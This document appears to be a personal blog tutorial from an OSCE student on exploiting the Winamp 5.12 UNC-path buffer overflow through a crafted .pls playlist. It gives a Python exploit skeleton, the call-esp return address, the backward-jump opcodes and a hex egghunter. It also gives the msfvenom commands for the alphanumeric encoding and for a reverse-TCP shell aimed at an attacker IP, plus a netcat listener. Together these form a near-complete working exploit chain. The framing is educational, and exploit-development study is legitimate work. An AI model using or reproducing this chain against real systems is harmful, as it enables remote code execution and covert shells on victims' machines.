Hello friend, hello friend,
As you may know, I recently acquired my OSCP and I really fast stepped into OSCE, so right now I am spending my days in my rainy window developing exploits, backdooring and hunting for 0days (yeap, I have some of them too now ๐ ). The biggest issue though, is that CTP is a “bit” outdated for today’s standards. And this is not necessarily bad, as in order to step up to more complex stuff you definitely have to understand the fundamentals. But with those standards that I use in my work, I consider the use of Backtrack, msfencode and others a bit outdated in a bad way. For that reason, I wanted to prepare a guide to exploit development that will better reflect the needs and tools of the 2020 security researcher out there.
Of course, I will not be able to cover everything, not even a part of this HUGE part of security, but if you are interested in exploit development in 2020, maybe this is a good place to start.
From the context of the post you already know that we will be exploiting a known buffer overflow in Winamp 5.12 (you can find the vulnerable version here), and we will be hosting it in a Windows XP SP3 installation (as we do not want to deal with ASLR for now) and for this tutorial I will be using Immunity Debuggerย and mona.py but of course you can use the debugger of your choice. (in case you just start with buffer overflows and exploit development, I would highly suggest the awesome series from Corelan that starts from here)
Let’s get it started…
Replicating the Crash
The vulnerability is a buffer overflow in Winamp which happens while processing playlist files of .pls type with long UNC path. In order to start developing our exploit we have to know the structure of the file, and after doing a little research in such files we find out the following:
playlist]\r\nFile1=\\\\ UNC PATH \r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n”
Supplying the UNC path with the right amount of data, results in a crash (which we will exploit in order to get code execution), but its a bit sneaky and it acts differently to different buffer lengths. That’s why with some light magic I give you our skeleton code written in Python as the fuzzing is out of scope and will be described in an other post.
#!/usr/bin/python -w
filename=”poc.pls”
start= “\r\nFile1=\\\\”
buffer = “\x90” * 856 + “\xcc” *166 + “\x41\x41\x41\x41” + “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90″
end=”\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n”exploit = start + buffer + end
textfile = open(filename , ‘w’)
textfile.write(exploit)
textfile.close()
As you can see, we create a new file called poc.pls, we add the head of the file, the buffer and the footer and we save it. As simple as that. ๐
The most complex part of the code is the buffer, so let’s take it part by part:
- “\x90” * 856 – These are NOPs used to file the buffer and reach the crash point
- “\xcc” *166 – These are breakpoints placed into the buffer in order to better manipulate the execution later, let’s leave it for now
- “\x41\x41\x41\x41” – Before this, is the place that the crash happens and these \x41 (As) are the bytes that will overwrite the EIP register as a result of the buffer overflow.
- “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90” – This is the only available buffer space that we have in order to start the chain of code execution, so you can understand that we have to start doing some magic with such limited space ๐
So by saving and executing this exploit, we get a poc.pls file that we can open with Winamp by going to File -> Play File and selecting this file. But before doing that, open Immunity Debugger and attach to Winamp (File -> Attach and select the winamp process). If the process get poused, hit F9 to start it, and open the poc.pls file normally with Winamp.

As we can see from Figure 1, opening our poc, has the following results:
- EIP register gets overwritten with four As (41414141)
- ESP points to our 11 byte buffer (in order to see that right click in the ESP register and select follow in DUMP in the top right window of Immunity)
So everything worked as expected from our skeleton exploit, time to get dirty.
Jumping Around
The situation that we are in is a really common one, as we have the ESP register pointing to our user controllable input, and we can easily overwrite EIP, so we need to overwrite the EIP with an address that will jump to the address pointed by the ESP. This can be done with many ways (see more here), but for our case we will use mona.py, an awesome script for that kind of exploitation.
In the input bar that we find in the bottom of immunity debugger, we write:
!mona jmp -r esp
This will supply us with all the available addresses that can execute a jump in the address that ESP points to, which are loaded by Winamp. In order to see the whole list of the addresses that mona found, you have to open the jmp.txt file in Immunity’s installation folder and from there find the proper address you wanna use. Some good points is to start from loaded dll’s that have security mechanisms disabled and that are native to the application, but this is out of scope and you will have to learn it mostly by trial and error. For our purposes, we select the following address:
0x0202d961 : call esp | {PAGE_EXECUTE_READ} [in_mp3.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Program Files\Winamp\Plugins\in_mp3.dll)
As you see this address calls esp and fits our standards, so now we want to change the four As in our exploit with this address in order to overwrite EIP with the call esp instruction. To do so, we change the “\x41\x41\x41\x41” part of our exploit with “\x61\xd9\x02\x02”, and execute the exploit again with the same way. (Before executing the exploit right click in the top right window of Immunity and go to Go to -> Expressions, paste the address of call esp we used 0202d961, and hit F2 to set a breakpoint in this address)

Executing the exploit we see that we hit our breakpoint and we overwrite our EIP with 0202d961 that points to the Call ESP instruction. SUCCESS. Hitting F7 to step into the next instruction we see that we get directly into the start of our 11 byte buffer and it’s time for our next jump as there is not much space for our shellcode.
As we have a lot of space in the start of our buffer (all those NOPs and breakpoints) one clear option is to jump back into this buffer. To do so we can subtract 176 bytes from ESP and then jump what ESP points to. We can do this with the following assembly code:
SUB ESP, 58
SUB ESP, 58
JMP ESP
So how we implement this in our exploit you ask? Easy, we double click the contents of the address that we stopped the execution because of the breakpoint and add the aforementioned assembly one line at a time hitting enter to save it.

When we click save, we see that this is translated to the following HEX representation:
83EC 58
83EC 58
FFE4
That we can now add into our exploit, yes you guessed it, in the place of the NOPs that the previous CALL ESP instruction leads to. So now, the buffer variable of our initial exploit will look like this:
buffer = “\x90” * 856 + “\xcc” *166 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”
This was our 1st stage shellcode, and now we have a less restrictive space to execute our 2nd stage shellcode, but again not enough to execute a reverse shell for example. In this example, we could easily use some more jumps to further go back in the buffer, but we will try something more complex and definitely more fun.
Making an Omelette
Egghunters is a well-known field for exploit development,ย so it has been covered a lot of times by people that make a better and more careful job than me. You can be educated the proper way here and here. I will just give you the higher level understanding and the technical aspects on how to use one in our case and with modern tools.
The purpose of an egg hunter is to search the entire memory range (stack/heap/..) for our final stage shellcode and redirect execution flow to it. The egg hunter contains a user defined 4-byte tag, it will then search through memory until it finds this tag twice repeated (if the tag is “1234” it will look for “12341234”). When it finds the tag it will redirect execution flow to just after the tag and so to our shellcode.
To start, we have to create an egghunter routine with mona.py. To do so we execute:
!mona egg -t cr0w
This means that we created an egghunter that hunts for the cr0wcr0w senescence which will be followed by our final shellcode. The egghunter is the following:
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7
To implement it in our code, we need to replace the first part of the breakpoits (\xcc) of our buffer, as we know that our backward jump lands somewhere in the end of the NOPs, the execution will slide through the NOPs and eventually reach the start of our \xcc part. So now our buffer variable will be the following:
buffer = “\x90” * 856 + “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7” + “\xcc” * 134 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”
As you might notice, we decreased the number of \xcc by 32, which is the size of our egghunter. We did this because our buffer overflow is really sensitive as we mentioned in the start, and we have to maintain the buffer length. Now, let’s again run the exploit and see what happens in immunity.
Hmmm. Something is not right. We have an access violation and inspecting the place of the crash closer we see that there is a 00 null byte in a place that it shouldn’t be.

This is because of a bad character which is converted to a null byte during execution. Comparing our original egghunter with the one in Immunity we see that the character that was filtered out is the “\x2e”.
So now to bypass this issue we have to encode our egghunter shellcode in a way that will be able to bypass this restriction. To do that we will use msfvenom and an alphanumeric encoder. To start we need to wright the egghunter in a .bin file, so execute the following in a Linux machine:
perl -e ‘print “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7″‘ > egghunter.bin
This will create the .bin file containing our egghunter and then we pass it to msfvenom in order to properly encode it:
cat egghunter.bin | msfvenom -p – -a x86 –platform win -e x86/alpha_mixed -f py -v egghunter

As you see, we encoded our egghunter which resulted in an 125 byte payload, that we can easily fit in the space we have available. There are of course more ways to encode our egghunter and to avoid bad characters, but for now let’s stick with it.
We copy our python code in our exploit, add it to our breakpoint buffer space and substract 125 from the total of 166 \xcc that we had in the start. This will result in the following buffer for our exploit:
buffer = “\x90” * 856 + egghunter + “\xcc” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”
And if we execute the exploit (and pass all the breakpoints with F7), we can see Immunity running a series of decoding passes and then start searching for the egg. At this point it will not find anything as we haven’t placed the egg into our shellcode so let’s continue our journey ๐
Stage the Third
Now we are in the final stage. We need to create our reverse shell shellcode place it inside the buffer and let the egghunter find it which will lead in its execution. We have a huge buffer space to work with (856 bytes to be precise) which means that we can place the egg in the start of it, and use the rest of the buffer to place our shellcode. Let’s first create the reverse shell shellcode by executing the following:
msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.0.20 EXITFUNC=none -f python -b ‘\x00\x2e’ -e x86/alpha_mixed -v shellcode
This will create an alphanumeric encoded reverse shell shellcode that will create a connection from the victim to the attackers machine in port 4444. We copy the generated python code in our exploit and we alter the buffer in the following way:
buffer = “cr0wcr0w” + shellcode + “\x90” * 139 + egghunter + “\x90” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”
Some interesting things happened here:
- As you might remember we set the egg to be cr0w in our egghunter so it will hunt for the cr0wcr0w sequence, that’s why our buffer starts with it. It will search it and move the execution in this place.
- After the egg we place the shellcode as it will executed directly after the movement of the execution.
- From the total of 856 NOPs we subtracted the 8 bytes from the egg sequence and the 709 bytes from the generated shellcode (but this number may vary in your case so do the correct calculations here) which resulted in 139 leftover NOPs.
- Additionally, we altered the breakpoints to be NOPs in order to not stop the execution at any point.
The only thing left to do is start a listener in our attackers machine with:
nc -lnvp 4444
and execute the exploit.

Success!!! As you see we successfully exploited the Winamp 5.12 UNC path buffer overflow by using egghunters. I will not share the final exploit code as I think you can easily recreated it with the details that I provided and you can easily find it online. Feel free to ask any questions in the comments and believe me, we just started ๐
P.S. This is just a work in progress, I am really sure that I f@cked up somewhere, so if you find something that does not add up please let me know. Happy to receive constructive criticism!!